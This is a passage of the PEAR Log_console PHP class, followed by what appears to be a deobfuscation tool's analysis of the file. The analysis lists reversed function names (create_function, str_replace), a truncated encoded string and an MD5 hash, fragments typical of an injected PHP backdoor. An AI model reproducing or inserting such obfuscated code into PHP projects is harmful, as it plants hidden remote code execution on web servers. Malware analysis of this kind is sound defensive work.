 * abstract class which writes message to the text console.
 * 
 * @author  Jon Parise <[email protected]>
 * @since   Log 1.1
 * @package Log
 *
 * @example console.php     Using the console handler.
 */
class Log_console extends Log
{
    /**
     * Handle to the current output stream.
     * @var resource
     * @access private
     */
    var $_stream = STDOUT;

    /**
     * Should the output be buffered or displayed immediately?
     * @var string
     * @access private
     */
    var $_buffering = false;

    /**
     * String holding the buffered output.
     * @var string
     * @access private
     */
    var $_buffer = '';

    /**
     * String containing the format of a log line.
     * @var string
     * @access private
     */
    var $_lineFormat = '%1$s %2$s [%3$s] %4$s';

    /**
     * String containing the timestamp format.  It will be passed directly to
     * strftime().  Note that the timestamp string will generated using the
     * current locale.
     * @var string
     * @access private
     */
    var $_timeFormat = '%b %d %H:%M:%S';

    /**
     * Constructs a new Log_console object.
     * 
     * @param string $name     Ignored.
     * @param string $ident    The identity string.
     * @param array  $conf     The configuration array.
     * @param int    $level    Log messages up to and including this level.
     * @access public
     */
    function Log_console($name, $ident = '', $conf = array(),
                         $level = PEAR_LOG_DEBUG)
    {
        $this->_id = md5(microtime());
        $this->_ident = $ident;
        $this->_mask = Log::UPTO($level);

        if (!empty($conf['stream'])) {
            $this->_stream = $conf['stream'];
        }

        if (isset($conf['buffering'])) {
            $this->_buffering = $conf['buffering'];
        }

        if (!empty($conf['lineFormat'])) {
            $this->_lineFormat = str_replace(array_keys($this->_formatMap),
                                             array_values($this->_formatMap),
                                             $conf['lineFormat']);
        }

        if (!empty($conf['timeFormat'])) {
            $this->_timeFormat = $conf['timeFormat'];
        }

        /*
         * If output buffering has been requested, we need to register a
         * shutdown function that will dump the buffer upon termination.
         */
        if ($this->_buffering) {
            register_shutdown_function(array(&$this, '_Log_console'));
        }
    }

    /**
     * Destructor
     */
    function _Log_console()
    {
        $this->close();
    }

    /**
     * Open the output stream.
     *
     * @access public
     * @since Log 1.9.7
     */
    function open()
    {
        $this->_opened = true;
        return true;
    }

    /**
     * Closes the output stream.
     *
     * This results in a call to flush().
     *
     * @access public
     * @since Log 1.9.0
     */
    function close()
    {
        $this->flush();
        $this->_opened = false;
        return true;
    }

    /**
     * Flushes all pending ("buffered") data to the output stream.
     *
     * @access public
     * @since Log 1.8.2
     */
    function flush()
    {
        /*
         * If output buffering is enabled, dump the contents of the buffer to
         * the output stream.
         */
        if ($this->_buffering && (strlen($this->_buffer) > 0)) {
            fwrite($this->_stream, $this->_buffer);
            $this->_buffer = '';
        }
 
        if (is_resource($this->_stream)) {
            return fflush($this->_stream);
        }

        return false;
    }

    /**
     * Writes $message to the text console. Also, passes the message
     * along to any Log_observer instances that are observing this Log.
     * 
     * @param mixed  $message    String or object containing the message to log.
     * @param string $priority The priority of the message.  Valid
     *                  values are: PEAR_LOG_EMERG, PEAR_LOG_ALERT,
     *                  PEAR_LOG_CRIT, PEAR_LOG_ERR, PEAR_LOG_WARNING,
     *                  PEAR_LOG_NOTICE, PEAR_LOG_INFO, and PEAR_LOG_DEBUG.
     * @return boolean  True on success or false on failure.
     * @access public
     */
    function log($message, $priority = null)
    {
        /* If a priority hasn't been specified, use the default value. */
        if ($priority === null) {
            $priority = $this->_priority;
        }

        /* Abort early if the priority is above the maximum logging level. */
        if (!$this->_isMasked($priority)) {
            return false;
        }

        /* Extract the string representation of the message. */
        $message = $this->_extractMessage($message);

        /* Build the string containing the complete log line. */
        $line = $this->_format($this->_lineFormat,
                               strftime($this->_timeFormat),
                               $priority, $message) . "\n";

        /*
         * If buffering is enabled, append this line to the output buffer.
         * Otherwise, print the line to the output stream immediately.
         */
        if ($this->_buffering) {
            $this->_buffer .= $line;
        } else {
            fwrite($this->_stream, $line);
        }

        /* Notify observers about this log message. */
        $this->_announce(array('priority' => $priority, 'message' => $message));

        return true;
    }

}

Function Calls

chr 1
StrrEV 1
substr 1
explode 1

Variables

$vdvllx a = implode(array_map("uritxlt",str_split("%tj!~!<**qp%!-uyf..
$rmaptqysor [{'key': None, 'value': 'StrrEV'}, {'key': None, 'value': 'NoiTCnUF_EtaERC'}, {'key': None, 'value': 'ecAlPeR_rtS'}]

Stats

MD5 6fa26d70744ad11d2703569b12de53b3
Eval Count 0
Decode Time 129 ms